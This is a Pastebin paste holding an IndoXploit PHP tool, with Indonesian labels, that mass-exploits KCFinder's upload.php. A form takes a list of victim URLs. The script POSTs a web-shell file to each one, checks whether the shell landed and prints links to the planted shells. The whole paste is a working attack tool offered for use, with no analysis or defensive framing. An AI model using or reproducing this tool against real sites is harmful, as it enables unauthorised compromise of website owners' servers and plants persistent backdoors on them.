Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <style type="text/css">
- html {
- text-align: center;
- }
- a {
- text-decoration: none;
- color: black;
- }
- </style>
- <form method="post">
- Target: <br>
- <textarea name="target" placeholder="http://www.target.com/[path]/kcfinder/upload.php" style="width: 600px; height: 250px; margin: 5px auto; resize: none;"></textarea><br>
- <input type="submit" name="x" style="width: 150px; height: 25px; margin: 5px;" value="hajar">
- </form>
- </html>
- <?php
- # IndoXploit
- function ngirim($url) {
- $ch = curl_init($url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, array("Filedata" => "@shellmu.php.ndsxf"));
- $data = curl_exec ($ch);
- return $data;
- }
- $target = explode("\r\n", $_POST['target']);
- if($_POST['x']) {
- foreach($target as $korban) {
- $upload = ngirim($korban);
- if($upload) {
- $shell = str_replace("upload.php", "upload/", $korban);
- $cek_shell = @file_get_contents("$shell/files/shellmu.php.ndsxf");
- echo "[+] $korban [ <font color=green>sukses</font> ]<br>";
- if(preg_match("/kata-kata yang ada di shellmu/", $cek_shell)) {
- echo "[+] <font color=green>Shellmu ada</font> => <a href='$shell/files/ix.php.ndsxf' target='_blank'>$shell/files/ix.php.ndsxf</a><br>";
- } else {
- echo "[-] <font color=red>Shellmu gaada</font><br>";
- }
- } else {
- echo "[-] $korban [ <font color=red>gagal</font> ]<br>";
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement